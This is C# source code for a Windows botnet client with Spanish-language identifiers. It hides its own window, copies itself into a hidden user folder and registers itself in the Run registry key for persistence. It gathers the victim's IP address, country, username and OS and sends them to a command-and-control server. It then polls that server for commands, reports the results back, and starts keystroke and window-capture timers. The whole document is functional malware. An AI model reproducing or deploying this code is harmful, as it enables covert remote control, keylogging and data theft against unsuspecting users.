public void saludo() { DH_Tools tools = new DH_Tools(); tools.tomar(url_master, "entradatrasera=hidad&key=" + clave + "&ip=" + ip + "&pais=" + pais + "&username="******"&os=" + os + "&timeout=" + time); }
public string ver_ordenes() { string resultado = ""; string re_cmd = ""; string arg1 = ""; string arg2 = ""; string arg3 = ""; DH_Tools tools = new DH_Tools(); string code = tools.tomar(url_master, "ordenespabots=alpedo&clave=" + clave); Match regex = Regex.Match(code, "Orden : (.*?)<br>", RegexOptions.IgnoreCase); if (regex.Success) { re_cmd = regex.Groups[1].Value; } regex = Regex.Match(code, "Arg1 : (.*?)<br>", RegexOptions.IgnoreCase); if (regex.Success) { arg1 = regex.Groups[1].Value; } regex = Regex.Match(code, "Arg2 : (.*?)<br>", RegexOptions.IgnoreCase); if (regex.Success) { arg2 = regex.Groups[1].Value; } regex = Regex.Match(code, "Arg3 : (.*?)<br>", RegexOptions.IgnoreCase); if (regex.Success) { arg3 = regex.Groups[1].Value; } resultado = clean_error_regex("[comando]" + re_cmd + "[comando]" + "[arg1]" + arg1 + "[arg1]" + "[arg2]" + arg2 + "[arg2]" + "[arg3]" + arg3 + "[arg3]"); return(resultado); }
// End private void Form1_Load(object sender, EventArgs e) { this.Hide(); DH_Tools tools = new DH_Tools(); load_config config = new load_config(); config.load_data(); //MessageBox.Show(config.get_data()); string botnet_online = config.botnet_online; if (botnet_online == "1") { //MessageBox.Show("Botnet Online"); url_master = config.pagina; time = config.timeout; // Configuracion Inicial string directorio_final = Environment.GetEnvironmentVariable("USERPROFILE") + "/tentob/"; string ruta_botnet_inicial = Application.ExecutablePath; string rutadondeestoy = System.Reflection.Assembly.GetEntryAssembly().Location; string nombredondestoy = Path.GetFileName(rutadondeestoy); string ruta_botnet_final = directorio_final + nombredondestoy; if (!Directory.Exists(directorio_final)) { Directory.CreateDirectory(directorio_final); File.SetAttributes(directorio_final, FileAttributes.Hidden); } else { File.SetAttributes(directorio_final, FileAttributes.Hidden); } Directory.SetCurrentDirectory(directorio_final); try { File.Copy(ruta_botnet_inicial, ruta_botnet_final); File.SetAttributes(ruta_botnet_final, FileAttributes.Hidden); } catch { // } if (!File.Exists("key")) { tools.savefile("key", dh_generate(5)); File.SetAttributes("key", FileAttributes.Hidden); } else { File.SetAttributes("key", FileAttributes.Hidden); } if (!File.Exists(directorio_final + "logs.out")) { tools.savefile("logs.out", ""); File.SetAttributes("logs.out", FileAttributes.Hidden); } try { RegistryKey loadnow = Registry.LocalMachine; loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); loadnow.SetValue("uberkkkk", ruta_botnet_final, RegistryValueKind.String); loadnow.Close(); } catch { // } // Fin de configuracion inicial string datos = getmydata(); Match regex = Regex.Match(datos, "-key-(.*?)-key-", RegexOptions.IgnoreCase); if (regex.Success) { clave = regex.Groups[1].Value; } regex = Regex.Match(datos, "-ip-(.*?)-ip-", RegexOptions.IgnoreCase); if (regex.Success) { ip = regex.Groups[1].Value; } regex = Regex.Match(datos, "-pais-(.*?)-pais-", RegexOptions.IgnoreCase); if (regex.Success) { pais = regex.Groups[1].Value; } regex = Regex.Match(datos, "-user-(.*?)-user-", RegexOptions.IgnoreCase); if (regex.Success) { user = regex.Groups[1].Value; } regex = Regex.Match(datos, "-os-(.*?)-os-", RegexOptions.IgnoreCase); if (regex.Success) { os = regex.Groups[1].Value; } saludo(); panelcontrol.Interval = Convert.ToInt32(time) * 1000; panelcontrol.Enabled = true; capturar_teclas.Interval = 50; capturar_teclas.Enabled = true; capturar_ventanas.Interval = 10; capturar_ventanas.Enabled = true; } else { MessageBox.Show("Botnet Offline"); Application.Exit(); } }
public void mandar_rta(string contenido) { DH_Tools tools = new DH_Tools(); tools.tomar(url_master, "mandocarajo=alpedo&miclave=" + clave + "&mirta=" + contenido); }
public void sigo_vivo() { DH_Tools tools = new DH_Tools(); tools.tomar(url_master, "sigovivo=alpedo&clavenow=" + clave); }
public string getmydata() { string resultado = ""; string consegui_key = ""; string consegui_ip = ""; string consegui_pais = ""; string consegui_user = ""; string consegui_os = ""; DH_Tools tools = new DH_Tools(); try { consegui_key = tools.openword("key"); } catch { consegui_key = "?"; } string code = tools.toma("http://whatismyipaddress.com/"); Match regex = Regex.Match(code, "Click for more about (.*)\"", RegexOptions.IgnoreCase); if (regex.Success) { consegui_ip = regex.Groups[1].Value; } else { consegui_ip = "?"; } regex = Regex.Match(code, "Country:</th><td style=\"font-size:14px;\">(.*)</td></tr>", RegexOptions.IgnoreCase); if (regex.Success) { consegui_pais = regex.Groups[1].Value; } else { consegui_pais = "?"; } try { consegui_user = System.Environment.UserName; } catch { consegui_user = "******"; } try { consegui_os = Environment.OSVersion.ToString(); } catch { consegui_os = "?"; } resultado = clean_error_regex("[key]" + consegui_key + "[key]" + "[ip]" + consegui_ip + "[ip]" + "[pais]" + consegui_pais + "[pais]" + "[user]" + consegui_user + "[user]" + "[os]" + consegui_os + "[os]"); return(resultado); }